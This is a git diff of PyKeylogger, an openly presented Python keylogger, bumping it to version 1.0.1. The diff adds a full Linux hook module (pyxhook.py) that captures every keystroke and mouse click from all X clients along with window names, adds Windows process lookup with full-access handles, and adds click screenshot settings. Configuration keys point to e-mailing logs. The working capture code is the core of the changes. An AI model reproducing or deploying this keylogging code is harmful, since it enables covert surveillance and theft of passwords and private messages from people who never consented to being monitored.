+                if fname == "emaillog.txt" or fname == "ziplog.txt" or fname == self.settings['General']['Log File']:
                     testvalue = False # we don't want to delete these

                 if type(lastmodcutoff) == float and self.CheckIfZipFile(fname):
@@ -563,16 +566,26 @@ class LogWriter(threading.Thread):
                     except:
                         self.PrintDebug(str(sys.exc_info()[0]) + ", " + str(sys.exc_info()[1]) + "\n")

-    def GetProcessNameFromHwnd(self, hwnd):
+    def GetProcessName(self, event):
         '''Acquire the process name from the window handle for use in the log filename.
         '''
-        threadpid, procpid = win32process.GetWindowThreadProcessId(hwnd)
-
-        # PROCESS_QUERY_INFORMATION (0x0400) or PROCESS_VM_READ (0x0010) or PROCESS_ALL_ACCESS (0x1F0FFF)
-
-        mypyproc = win32api.OpenProcess(win32con.PROCESS_ALL_ACCESS, False, procpid)
-        procname = win32process.GetModuleFileNameEx(mypyproc, 0)
-        return procname
+        if os.name == 'nt':
+            hwnd = event.Window
+            try:
+                threadpid, procpid = win32process.GetWindowThreadProcessId(hwnd)
+
+                # PROCESS_QUERY_INFORMATION (0x0400) or PROCESS_VM_READ (0x0010) or PROCESS_ALL_ACCESS (0x1F0FFF)
+
+                mypyproc = win32api.OpenProcess(win32con.PROCESS_ALL_ACCESS, False, procpid)
+                procname = win32process.GetModuleFileNameEx(mypyproc, 0)
+                return procname
+            except:
+                #self.logger.error("Failed to get process info from hwnd.", exc_info=sys.exc_info())
+                # this happens frequently enough - when the last event caused the closure of the window or program
+                # so we just return a nice string and don't worry about it.
+                return "noprocname"
+        elif os.name == 'posix':
+            return str(event.WindowProcName)

     def cancel(self):
         '''To exit cleanly, flush all write buffers, and stop all running timers.
@@ -585,34 +598,51 @@ class LogWriter(threading.Thread):
         self.WriteToLogFile()
         self.FlushLogWriteBuffers("Flushing buffers prior to exiting")
         logging.shutdown()
-        self.flushtimer.cancel()

+        self.flushtimer.cancel()
         self.logrotatetimer.cancel()

         if self.settings['E-mail']['SMTP Send Email'] == True:
             self.emailtimer.cancel()
         if self.settings['Log Maintenance']['Delete Old Logs'] == True:
             self.oldlogtimer.cancel()
-        #~ if self.settings['Timestamp']['Timestamp Enable'] == True:
-            #~ self.timestamptimer.cancel()
         if self.settings['Zip']['Zip Enable'] == True:
             self.ziptimer.cancel()
-
-
+
 if __name__ == '__main__':
     #some testing code
     #put a real existing hwnd into event.Window to run test
-    #this testing code is now really outdated and useless.
-    lw = LogWriter()
-    class Blank:
-        pass
-    event = Blank()
-    event.Window = 264854
-    event.WindowName = "Untitled - Notepad"
-    event.Ascii = 65
-    event.Key = 'A'
-    options = Blank()
-    options.parseBackspace = options.parseEscape = options.addLineFeed = options.debug = False
-    options.flushKey = 'F11'
-    lw.WriteToLogFile(event, options)
+    #this testing code is incomplete (no events)
+
+    class CmdOptions:
+        def __init__(self, debug):
+            self.debug = debug
+
+    settings={}
+    settings['E-mail'] = {'SMTP Send Email':False}
+    settings['Log Maintenance'] = {'Delete Old Logs':False,'Flush Interval':1000,'Log Rotation Interval':4,'Delete Old Logs':False}
+    settings['Zip'] = {'Zip Enable':False}
+    settings['General'] = {'Log Directory':'logs','System Log':'None','Log Key Count':True}
+
+    print settings['General']
+    print settings['General']['Log Directory']
+    q = Queue.Queue()
+
+    cmdoptions = CmdOptions(True)
+
+    lw = LogWriter(settings, cmdoptions, q)
+    lw.start()
+    time.sleep(5)
+    lw.cancel()
+    #~ class Blank:
+        #~ pass
+    #~ event = Blank()
+    #~ event.Window = 264854
+    #~ event.WindowName = "Untitled - Notepad"
+    #~ event.Ascii = 65
+    #~ event.Key = 'A'
+    #~ options = Blank()
+    #~ options.parseBackspace = options.parseEscape = options.addLineFeed = options.debug = False
+    #~ options.flushKey = 'F11'
+    #~ lw.WriteToLogFile(event, options)

diff --git a/make_all_dist.py b/make_all_dist.py
index afe82fd..07e7abb 100644
--- a/make_all_dist.py
+++ b/make_all_dist.py
@@ -85,6 +85,8 @@ if __name__ == '__main__':

     print r'move ".\dist\pykeylogger-' + version.version + r'.zip" ".\pykeylogger-' + version.version + fname_addendum + '_src.zip"'
     os.system(r'move ".\dist\pykeylogger-' + version.version + r'.zip" ".\pykeylogger-' + version.version + fname_addendum + '_src.zip"')
+    print r'del .\MANIFEST'
+    os.system(r'del .\MANIFEST')

     print r'rd /S /Q dist'
     os.system(r'rd /S /Q dist')
diff --git a/myutils.py b/myutils.py
index 183dd2c..fba6177 100644
--- a/myutils.py
+++ b/myutils.py
@@ -1,6 +1,7 @@
 import zlib
 import base64
 import sys
+import os.path
 import imp

 def password_obfuscate(password):
@@ -8,23 +9,15 @@ def password_obfuscate(password):
 def password_recover(password):
     return zlib.decompress(base64.b64decode(password))

+# the following two functions are from the py2exe wiki:
+# http://www.py2exe.org/index.cgi/HowToDetermineIfRunningFromExe
 def main_is_frozen():
     return (hasattr(sys, "frozen") or # new py2exe
             hasattr(sys, "importers") or # old py2exe
             imp.is_frozen("__main__")) # tools/freeze

-
-#~ if __name__ == '__main__':
-    #some test code here.
-    #~ def hello(name="bla"):
-        #~ print "hello, ", name
-
-    #~ myt = MyTimer(1.0, 5, hello, ["bob"])
-    #~ myt.start()
-    #~ time.sleep(4)
-    #~ myt.cancel()
-    #~ print "next timer"
-    #~ myt = MyTimer(1.0, 0, hello, ["bob"])
-    #~ myt.start()
-    #~ time.sleep(6)
-    #~ myt.cancel()
+def get_main_dir():
+    if main_is_frozen():
+        return os.path.dirname(sys.executable)
+    #return os.path.dirname(sys.argv[0])
+    return sys.path[0]
diff --git a/pykeylogger.ini b/pykeylogger.ini
index 1500255..7e6345d 100644
Binary files a/pykeylogger.ini and b/pykeylogger.ini differ
diff --git a/pykeylogger.val b/pykeylogger.val
index 379f214..6f88c46 100644
--- a/pykeylogger.val
+++ b/pykeylogger.val
@@ -8,7 +8,7 @@ Master Password = string(default="")

 # default: C:\Temp\logdir
 Log Directory Tooltip = string()
-Log Directory = string(max=64, default="C:\Temp\logdir")
+Log Directory = string(max=64, default="logs")

 # default: True
 Hook Keyboard Tooltip = string()
@@ -24,7 +24,7 @@ Parse Escape = boolean(default=False)

 # default: F12
 Control Key Tooltip = string()
-Control Key = string(default="Lcontrol;Rcontrol;F12")
+Control Key = string(default="F11;F12")

 # default: None
 Applications Not Logged Tooltip = string()
@@ -179,4 +179,18 @@ Flush Interval = float(min=10, default=120.0)

 # default: 4.0
 Log Rotation Interval Tooltip = string()
-Log Rotation Interval = float(min=0.016, default=4.0)
\ No newline at end of file
+Log Rotation Interval = float(min=0.016, default=4.0)
+
+[Image Capture]
+
+# default: True
+Capture Clicks Tooltip = string()
+Capture Clicks = boolean(default=True)
+
+# default: 150
+Capture Clicks Width Tooltip = string()
+Capture Clicks Width = integer(min=1, max=65534, default=150)
+
+# default: 150
+Capture Clicks Height Tooltip = string()
+Capture Clicks Height = integer(min=1, max=65534, default=150)
\ No newline at end of file
diff --git a/pyxhook.py b/pyxhook.py
new file mode 100644
index 0000000..1a95f1b
--- /dev/null
+++ b/pyxhook.py
@@ -0,0 +1,352 @@
+#!/usr/bin/python
+#
+# pyxhook -- an extension to emulate some of the PyHook library on linux.
+#
+#    Copyright (C) 2008 Tim Alexander <dragonfyre13@gmail.com>
+#
+#    This program is free software; you can redistribute it and/or modify
+#    it under the terms of the GNU General Public License as published by
+#    the Free Software Foundation; either version 2 of the License, or
+#    (at your option) any later version.
+#
+#    This program is distributed in the hope that it will be useful,
+#    but WITHOUT ANY WARRANTY; without even the implied warranty of
+#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+#    GNU General Public License for more details.
+#
+#    You should have received a copy of the GNU General Public License
+#    along with this program; if not, write to the Free Software
+#    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
+#
+#    Thanks to Alex Badea <vamposdecampos@gmail.com> for writing the Record
+#    demo for the xlib libraries. It helped me immensely working with these
+#    in this library.
+#
+#    Thanks to the python-xlib team. This wouldn't have been possible without
+#    your code.
+#
+#    This requires:
+#    at least python-xlib 1.4
+#    xwindows must have the "record" extension present, and active.
+#
+#    This file has now been somewhat extensively modified by
+#    Daniel Folkinshteyn <nanotube@users.sf.net>
+#    So if there are any bugs, they are probably my fault. :)
+
+import sys
+import os
+import re
+import time
+import threading
+import Image
+
+from Xlib import X, XK, display, error
+from Xlib.ext import record
+from Xlib.protocol import rq
+
+#######################################################################
+########################START CLASS DEF################################
+#######################################################################
+
+class HookManager(threading.Thread):
+    """This is the main class. Instantiate it, and you can hand it KeyDown and KeyUp (functions in your own code) which execute to parse the pyxhookkeyevent class that is returned.
+
+    This simply takes these two values for now:
+    KeyDown = The function to execute when a key is pressed, if it returns anything. It hands the function an argument that is the pyxhookkeyevent class.
+    KeyUp = The function to execute when a key is released, if it returns anything. It hands the function an argument that is the pyxhookkeyevent class.
+    """
+
+    def __init__(self):
+        threading.Thread.__init__(self)
+        self.finished = threading.Event()
+
+        # Give these some initial values
+        self.mouse_position_x = 0
+        self.mouse_position_y = 0
+        self.ison = {"shift":False, "caps":False}
+
+        # Compile our regex statements.
+        self.isshift = re.compile('^Shift')
+        self.iscaps = re.compile('^Caps_Lock')
+        self.shiftablechar = re.compile('^[a-z0-9]$|^minus$|^equal$|^bracketleft$|^bracketright$|^semicolon$|^backslash$|^apostrophe$|^comma$|^period$|^slash$|^grave$')
+        self.logrelease = re.compile('.*')
+        self.isspace = re.compile('^space$')
+
+        # Assign default function actions (do nothing).
+        self.KeyDown = lambda x: True
+        self.KeyUp = lambda x: True
+        self.MouseAllButtonsDown = lambda x: True
+        self.MouseAllButtonsUp = lambda x: True
+
+        self.contextEventMask = [0,2]
+
+        # Hook to our display.
+        self.local_dpy = display.Display()
+        self.record_dpy = display.Display()
+
+    def run(self):
+        # Check if the extension is present
+        if not self.record_dpy.has_extension("RECORD"):
+            print "RECORD extension not found"
+            sys.exit(1)
+        r = self.record_dpy.record_get_version(0, 0)
+        print "RECORD extension version %d.%d" % (r.major_version, r.minor_version)
+
+        # Create a recording context; we only want key and mouse events
+        self.ctx = self.record_dpy.record_create_context(
+                0,
+                [record.AllClients],
+                [{
+                        'core_requests': (0, 0),
+                        'core_replies': (0, 0),
+                        'ext_requests': (0, 0, 0, 0),
+                        'ext_replies': (0, 0, 0, 0),
+                        'delivered_events': (0, 0),
+                        'device_events': tuple(self.contextEventMask), #(X.KeyPress, X.ButtonPress),
+                        'errors': (0, 0),
+                        'client_started': False,
+                        'client_died': False,
+                }])
+
+        # Enable the context; this only returns after a call to record_disable_context,
+        # while calling the callback function in the meantime
+        self.record_dpy.record_enable_context(self.ctx, self.processevents)
+        # Finally free the context
+        self.record_dpy.record_free_context(self.ctx)
+
+    def cancel(self):
+        self.finished.set()
+        self.local_dpy.record_disable_context(self.ctx)
+        self.local_dpy.flush()
+
+    def printevent(self, event):
+        print event
+
+    def HookKeyboard(self):
+        self.contextEventMask[0] = X.KeyPress
+
+    def HookMouse(self):
+        # need mouse motion to track pointer position, since ButtonPress events
+        # don't carry that info.
+        self.contextEventMask[1] = X.MotionNotify
+
+    def processevents(self, reply):
+        if reply.category != record.FromServer:
+            return
+        if reply.client_swapped:
+            print "* received swapped protocol data, cowardly ignored"
+            return
+        if not len(reply.data) or ord(reply.data[0]) < 2:
+            # not an event
+            return
+        data = reply.data
+        while len(data):
+            event, data = rq.EventField(None).parse_binary_value(data, self.record_dpy.display, None, None)
+            if event.type == X.KeyPress:
+                hookevent = self.keypressevent(event)
+                self.KeyDown(hookevent)
+            elif event.type == X.KeyRelease:
+                hookevent = self.keyreleaseevent(event)
+                self.KeyUp(hookevent)
+            elif event.type == X.ButtonPress:
+                hookevent = self.buttonpressevent(event)
+                self.MouseAllButtonsDown(hookevent)
+            elif event.type == X.ButtonRelease:
+                hookevent = self.buttonreleaseevent(event)
+                self.MouseAllButtonsUp(hookevent)
+            elif event.type == X.MotionNotify:
+                # use mouse moves to record mouse position, since press and release events
+                # do not give mouse position info (event.root_x and event.root_y have
+                # bogus info).
+                self.mousemoveevent(event)
+
+        #print "processing events...", event.type
+
+    def keypressevent(self, event):
+        matchto = self.lookup_keysym(self.local_dpy.keycode_to_keysym(event.detail, 0))
+        if self.shiftablechar.match(self.lookup_keysym(self.local_dpy.keycode_to_keysym(event.detail, 0))): ## This is a character that can be typed.
+            if self.ison["shift"] == False:
+                keysym = self.local_dpy.keycode_to_keysym(event.detail, 0)
+                return self.makekeyhookevent(keysym, event)
+            else:
+                keysym = self.local_dpy.keycode_to_keysym(event.detail, 1)
+                return self.makekeyhookevent(keysym, event)
+        else: ## Not a typable character.
+            keysym = self.local_dpy.keycode_to_keysym(event.detail, 0)
+            if self.isshift.match(matchto):
+                self.ison["shift"] = self.ison["shift"] + 1
+            elif self.iscaps.match(matchto):
+                if self.ison["caps"] == False:
+                    self.ison["shift"] = self.ison["shift"] + 1
+                    self.ison["caps"] = True
+                if self.ison["caps"] == True:
+                    self.ison["shift"] = self.ison["shift"] - 1
+                    self.ison["caps"] = False
+            return self.makekeyhookevent(keysym, event)
+
+    def keyreleaseevent(self, event):
+        if self.shiftablechar.match(self.lookup_keysym(self.local_dpy.keycode_to_keysym(event.detail, 0))):
+            if self.ison["shift"] == False:
+                keysym = self.local_dpy.keycode_to_keysym(event.detail, 0)
+            else:
+                keysym = self.local_dpy.keycode_to_keysym(event.detail, 1)
+        else:
+            keysym = self.local_dpy.keycode_to_keysym(event.detail, 0)
+        matchto = self.lookup_keysym(keysym)
+        if self.isshift.match(matchto):
+            self.ison["shift"] = self.ison["shift"] - 1
+        return self.makekeyhookevent(keysym, event)
+
+    def buttonpressevent(self, event):
+        #self.clickx = self.rootx
+        #self.clicky = self.rooty
+        return self.makemousehookevent(event)
+
+    def buttonreleaseevent(self, event):
+        #if (self.clickx == self.rootx) and (self.clicky == self.rooty):
+            ##print "ButtonClick " + str(event.detail) + " x=" + str(self.rootx) + " y=" + str(self.rooty)
+            #if (event.detail == 1) or (event.detail == 2) or (event.detail == 3):
+                #self.captureclick()
+        #else:
+            #pass
+
+        return self.makemousehookevent(event)
+
+        #    sys.stdout.write("ButtonDown " + str(event.detail) + " x=" + str(self.clickx) + " y=" + str(self.clicky) + "\n")
+        #    sys.stdout.write("ButtonUp " + str(event.detail) + " x=" + str(self.rootx) + " y=" + str(self.rooty) + "\n")
+        #sys.stdout.flush()
+
+    def mousemoveevent(self, event):
+        self.mouse_position_x = event.root_x
+        self.mouse_position_y = event.root_y
+
+    # need the following because XK.keysym_to_string() only does printable chars
+    # rather than being the correct inverse of XK.string_to_keysym()
+    def lookup_keysym(self, keysym):
+        for name in dir(XK):
+            if name.startswith("XK_") and getattr(XK, name) == keysym:
+                return name.lstrip("XK_")
+        return "[%d]" % keysym
+
+    def asciivalue(self, keysym):
+        asciinum = XK.string_to_keysym(self.lookup_keysym(keysym))
+        if asciinum < 256:
+            return asciinum
+        else:
+            return 0
+
+    def makekeyhookevent(self, keysym, event):
+        storewm = self.xwindowinfo()
+        if event.type == X.KeyPress:
+            MessageName = "key down"
+        elif event.type == X.KeyRelease:
+            MessageName = "key up"
+        return pyxhookkeyevent(storewm["handle"], storewm["name"], storewm["class"], self.lookup_keysym(keysym), self.asciivalue(keysym), False, event.detail, MessageName)
+
+    def makemousehookevent(self, event):
+        storewm = self.xwindowinfo()
+        if event.detail == 1:
+            MessageName = "mouse left "
+        elif event.detail == 3:
+            MessageName = "mouse right "
+        elif event.detail == 2:
+            MessageName = "mouse middle "
+        elif event.detail == 5:
+            MessageName = "mouse wheel down "
+        elif event.detail == 4:
+            MessageName = "mouse wheel up "
+        else:
+            MessageName = "mouse " + str(event.detail) + " "
+
+        if event.type == X.ButtonPress:
+            MessageName = MessageName + "down"
+        elif event.type == X.ButtonRelease:
+            MessageName = MessageName + "up"
+        return pyxhookmouseevent(storewm["handle"], storewm["name"], storewm["class"], (self.mouse_position_x, self.mouse_position_y), MessageName)
+
+    def xwindowinfo(self):
+        try:
+            windowvar = self.local_dpy.get_input_focus().focus
+            wmname = windowvar.get_wm_name()
+            wmclass = windowvar.get_wm_class()
+            wmhandle = str(windowvar)[20:30]
+        except:
+            ## This is to keep things running smoothly. It almost never happens, but still...
+            return {"name":None, "class":None, "handle":None}
+        if (wmname == None) and (wmclass == None):
+            try:
+                windowvar = windowvar.query_tree().parent
+                wmname = windowvar.get_wm_name()
+                wmclass = windowvar.get_wm_class()
+                wmhandle = str(windowvar)[20:30]
+            except:
+                ## This is to keep things running smoothly. It almost never happens, but still...
+                return {"name":None, "class":None, "handle":None}
+        if wmclass == None:
+            return {"name":wmname, "class":wmclass, "handle":wmhandle}
+        else:
+            return {"name":wmname, "class":wmclass[0], "handle":wmhandle}
+
+class pyxhookkeyevent:
+    """This is the class that is returned with each key event.f
+    It simply creates the variables below in the class.
+
+    Window = The handle of the window.
+    WindowName = The name of the window.
+    WindowProcName = The backend process for the window.
+    Key = The key pressed, shifted to the correct caps value.
+    Ascii = An ascii representation of the key. It returns 0 if the ascii value is not between 31 and 256.
+    KeyID = This is just False for now. Under windows, it is the Virtual Key Code, but that's a windows-only thing.
+    ScanCode = Please don't use this. It differs for pretty much every type of keyboard. X11 abstracts this information anyway.
+    MessageName = "key down", "key up".
+    """
+
+    def __init__(self, Window, WindowName, WindowProcName, Key, Ascii, KeyID, ScanCode, MessageName):
+        self.Window = Window
+        self.WindowName = WindowName
+        self.WindowProcName = WindowProcName
+        self.Key = Key
+        self.Ascii = Ascii
+        self.KeyID = KeyID
+        self.ScanCode = ScanCode
+        self.MessageName = MessageName
+
+    def __str__(self):
+        return "Window Handle: " + str(self.Window) + "\nWindow Name: " + str(self.WindowName) + "\nWindow's Process Name: " + str(self.WindowProcName) + "\nKey Pressed: " + str(self.Key) + "\nAscii Value: " + str(self.Ascii) + "\nKeyID: " + str(self.KeyID) + "\nScanCode: " + str(self.ScanCode) + "\nMessageName: " + str(self.MessageName) + "\n"
+
+class pyxhookmouseevent:
+    """This is the class that is returned with each key event.f
+    It simply creates the variables below in the class.
+
+    Window = The handle of the window.
+    WindowName = The name of the window.
+    WindowProcName = The backend process for the window.
+    Position = 2-tuple (x,y) coordinates of the mouse click
+    MessageName = "mouse left|right|middle down", "mouse left|right|middle up".
+    """
+
+    def __init__(self, Window, WindowName, WindowProcName, Position, MessageName):
+        self.Window = Window
+        self.WindowName = WindowName
+        self.WindowProcName = WindowProcName
+        self.Position = Position
+        self.MessageName = MessageName
+
+    def __str__(self):
+        return "Window: " + str(self.Window) + "\nWindow Handle: " + str(self.WindowName) + "\nWindow's Process Name: " + str(self.WindowProcName) + "\nPosition: " + str(self.Position) + "\nMessageName: " + str(self.MessageName) + "\n"
+
+#######################################################################
+#########################END CLASS DEF#################################
+#######################################################################
+
+if __name__ == '__main__':
+    hm = HookManager()
+    hm.HookKeyboard()
+    hm.HookMouse()
+    hm.KeyDown = hm.printevent
+    hm.KeyUp = hm.printevent
+    hm.MouseAllButtonsDown = hm.printevent
+    hm.MouseAllButtonsUp = hm.printevent
+    hm.start()
+    time.sleep(10)
+    hm.cancel()
diff --git a/setup.py b/setup.py
index c1ff535..42ea444 100644
--- a/setup.py
+++ b/setup.py
@@ -23,7 +23,12 @@ setup(
     author = version.author,
     author_email = version.author_email,
     platforms = [version.platform],
-
+
+    # the following doesn't work - for some reason bundling everything into one exe
+    # causes the program to crash out on start.
+    #~ options = {'py2exe': {'bundle_files': 1}},
+    #~ zipfile = None,
+
     data_files = [("",["pykeylogger.ini",
                         "pykeylogger.val",
                         "CHANGELOG.TXT",
@@ -45,4 +50,3 @@ setup(
        }
     ],
     )
-
diff --git a/supportscreen.py b/supportscreen.py
index d943264..64b0153 100644
--- a/supportscreen.py
+++ b/supportscreen.py
@@ -2,6 +2,7 @@ from Tkinter import *
 import webbrowser
 import mytkSimpleDialog
 import ScrolledText
+import version

 class SupportScreen(mytkSimpleDialog.Dialog):
     def __init__(self, parent, title = None, rootx_offset=50, rooty_offset=50):
@@ -9,6 +10,7 @@ class SupportScreen(mytkSimpleDialog.Dialog):

     def body(self, master):
         self.t = ScrolledText.ScrolledText(master)
+        self.t['font'] = 'arial 10'
         self.t.pack()
         self.t.tag_configure("href", foreground='blue', underline=1)
         self.t.tag_bind("href", "<Button-1>", self.openHREF)
@@ -32,8 +34,8 @@ link very informative: ")
         self.t.insert(END, "http://pykeylogger.wiki.sourceforge.net/Download_Instructions", "href")
         self.t.insert(END, " and you will get a binary build of PyKeylogger without any nagging, \
 by E-mail, HTTP, or FTP.")
-        self.t.insert(END, "\n\n 2. Get the source code, then find and toggle the nag control. You can then run \
-PyKeylogger from source, or even build your own executable, by following the instructions at ")
+        self.t.insert(END, "\n\n 2. Get the project source code, the supporting libraries, then find and toggle the nag control. You can then run \
+PyKeylogger from source, or even build your own executable. Detailed instructions for this approach are available at ")
         self.t.insert(END, "http://pykeylogger.wiki.sourceforge.net/Installation_Instructions", "href")
         self.t.insert(END, "\n\nFinally, I encourage you to use this software responsibly, keeping to the law and your own moral code.")
         self.t.config(state=DISABLED)
@@ -72,6 +74,7 @@ class ExpirationScreen(mytkSimpleDialog.Dialog):

     def body(self, master):
         self.t = ScrolledText.ScrolledText(master)
+        self.t['font'] = 'arial 10'
         self.t.pack()
         self.t.tag_configure("href", foreground='blue', underline=1)
         self.t.tag_bind("href", "<Button-1>", self.openHREF)
@@ -86,8 +89,8 @@ to restore PyKeylogger's functionality: \n\n 1. Donate to PyKeylogger by followi
         self.t.insert(END, "http://pykeylogger.wiki.sourceforge.net/Download_Instructions", "href")
         self.t.insert(END, " and you will get a binary build of PyKeylogger without any nagscreens or expiration, \
 by E-mail, HTTP, or FTP.")
-        self.t.insert(END, "\n\n 2. Get the source code, then find and toggle the nag control. You can then run \
-PyKeylogger from source, or even build your own executable, by following the instructions at ")
+        self.t.insert(END, "\n\n 2. Get the project source code, the supporting libraries, then find and toggle the nag control. You can then run \
+PyKeylogger from source, or even build your own executable. Detailed instructions for this approach are available at ")
         self.t.insert(END, "http://pykeylogger.wiki.sourceforge.net/Installation_Instructions", "href")
         self.t.insert(END, "\n\nIf you run into any trouble, feel free to ask for help on the PyKeylogger forums: ")
         self.t.insert(END, "http://sourceforge.net/forum/?group_id=147501", "href")
@@ -120,14 +123,95 @@ PyKeylogger from source, or even build your own executable, by following the ins
         #print "Going to %s..." % t.get(start, end)
         webbrowser.open(self.t.get(start, end))

+class AboutDialog(mytkSimpleDialog.Dialog):
+    def __init__(self, parent, title = None, rootx_offset=50, rooty_offset=50):
+        mytkSimpleDialog.Dialog.__init__(self, parent, title, rootx_offset, rooty_offset)
+
+    def body(self, master):
+        self.t = ScrolledText.ScrolledText(master)
+        self.t['font'] = 'arial 10'
+        self.t.pack()
+        self.t.tag_configure("href", foreground='blue', underline=1)
+        self.t.tag_configure("h1", foreground='black', underline=1, font=('Arial', 16, 'bold'))
+        self.t.tag_configure("h2", foreground='black', underline=0, font=('Arial', 14, 'bold'))
+        self.t.tag_configure("h3", foreground='#33CCCC', underline=0, font=('Arial', 10, 'bold'))
+        self.t.tag_configure("emph", foreground='black', underline=0, font=('Arial', 10, 'italic'))
+        self.t.tag_bind("href", "<Button-1>", self.openHREF)
+        self.t.tag_bind("href", "<Enter>", self.show_hand_cursor)
+        self.t.tag_bind("href", "<Leave>", self.show_arrow_cursor)
+        self.t.config(cursor="arrow", bg="white", wrap=WORD)
+        self.t.insert(END, "PyKeylogger - Simple Python Keylogger", "h1")
+        self.t.insert(END, "\nVersion " + version.version + "\n")
+        self.t.insert(END,"  by " + version.author + " <" + version.author_email + ">", "emph")
+        self.t.insert(END, "\n\nLicense: " + version.license + ", ")
+        self.t.insert(END, "http://www.gnu.org/copyleft/gpl.html", "href")
+        self.t.insert(END, "\n\nProject site: ")
+        self.t.insert(END, version.url, "href")
+        self.t.insert(END, "\n\nContributors", "h2")
+        self.t.insert(END, "\n\nTim Alexander <dragonfyre13@gmail.com>", "h3")
+        self.t.insert(END, "\nThe initial implementation of event hooking and image capture on click under GNU/Linux, using the python-xlib library.")
+        self.t.insert(END, "\n\nSupporting Libraries:", "h2")
+        self.t.insert(END, "\n\nPython, ")
+        self.t.insert(END, "http://www.python.org", "href")
+        self.t.insert(END, "\nPython Imaging Library (PIL), ")
+        self.t.insert(END, "http://www.pythonware.com/products/pil/", "href")
+        self.t.insert(END, "\npy2exe, ")
+        self.t.insert(END, "http://www.py2exe.org/", "href")
+        self.t.insert(END, "\nConfigObj, ")
+        self.t.insert(END, "http://www.voidspace.org.uk/python/configobj.html", "href")
+        self.t.insert(END, "\nPyHook, ")
+        self.t.insert(END, "http://sourceforge.net/projects/uncassist", "href")
+        self.t.insert(END, "\nPython for Windows Extensions (PyWin32), ")
+        self.t.insert(END, "http://sourceforge.net/projects/pywin32/", "href")
+        self.t.insert(END, "\npython-xlib, ")
+        self.t.insert(END, "http://python-xlib.sourceforge.net/", "href")
+        self.t.insert(END, "\n\nA big thank you goes out to all of the people behind these numerous software packages that make PyKeylogger possible!")
+
+        self.t.config(state=DISABLED)
+
+    def show_hand_cursor(self, event):
+        self.t.config(cursor="hand2")
+
+    def show_arrow_cursor(self, event):
+        self.t.config(cursor="arrow")
+
+    def buttonbox(self):
+        # add standard button box. override if you don't want the
+        # standard buttons
+
+        box = Frame(self)
+
+        #w = Button(box, text="OK", width=10, command=self.ok, default=ACTIVE)
+        #w.pack(side=LEFT, padx=5, pady=5)
+        w = Button(box, text="Continue", width=10, command=self.cancel, default=ACTIVE)
+        w.pack(side=LEFT, padx=5, pady=5)
+
+        self.bind("<Return>", self.cancel)
+        self.bind("<Escape>", self.cancel)
+
+        box.pack()
+
+    def openHREF(self, event):
+        start, end = self.t.tag_prevrange("href", self.t.index("@%s,%s" % (event.x, event.y)))
+        #print "Going to %s..." % t.get(start, end)
+        webbrowser.open(self.t.get(start, end))
+
+
 if __name__ == '__main__':
     # test code
     root=Tk()
     root.geometry("100x100+200+200")
     warn=SupportScreen(root, title="Please Support PyKeylogger", rootx_offset=-20, rooty_offset=-35)
     root.quit()
+    root.destroy()

     root=Tk()
     root.geometry("100x100+200+200")
     warn=ExpirationScreen(root, title="PyKeylogger Has Expired", rootx_offset=-20, rooty_offset=-35)
-    root.quit()
\ No newline at end of file
+    root.quit()
+    root.destroy()
+
+    root=Tk()
+    root.geometry("100x100+200+200")
+    warn=AboutDialog(root, title="About PyKeylogger", rootx_offset=-20, rooty_offset=-35)
+    root.quit()
diff --git a/tooltip.py b/tooltip.py
index 8030fcf..f6ddbbe 100644
--- a/tooltip.py
+++ b/tooltip.py
@@ -45,7 +45,7 @@ class ToolTip:
         self._opts = {'anchor':'center', 'bd':1, 'bg':'lightyellow', 'delay':delay, 'fg':'black',\
                       'follow_mouse':0, 'font':None, 'justify':'left', 'padx':4, 'pady':2,\
                       'relief':'solid', 'state':'normal', 'text':text, 'textvariable':None,\
-                      'width':0, 'wraplength':300}
+                      'width':0, 'wraplength':400}
         self.configure(**opts)
         self._tipwindow = None
         self._id = None
@@ -165,4 +165,4 @@ def demo():
     root.mainloop()

 if __name__ == '__main__':
-    demo()
\ No newline at end of file
+    demo()
diff --git a/version.py b/version.py
index 9c221ce..591eb5c 100644
--- a/version.py
+++ b/version.py
@@ -1,9 +1,9 @@

 name = "pykeylogger"
-version = "0.9.5"
-description = "Simple Python Keylogger for Windows"
+version = "1.0.1"
+description = "Simple Python Keylogger"
 url = "http://pykeylogger.sourceforge.net"
 license = "GPL"
-author = "Nanotube"
+author = "Daniel Folkinshteyn"
 author_email = "nanotube@users.sf.net"
-platform = "Windows NT/2000/XP"
\ No newline at end of file
+platform = "Windows NT/2000/XP/Vista, Linux"
\ No newline at end of file
ViewGit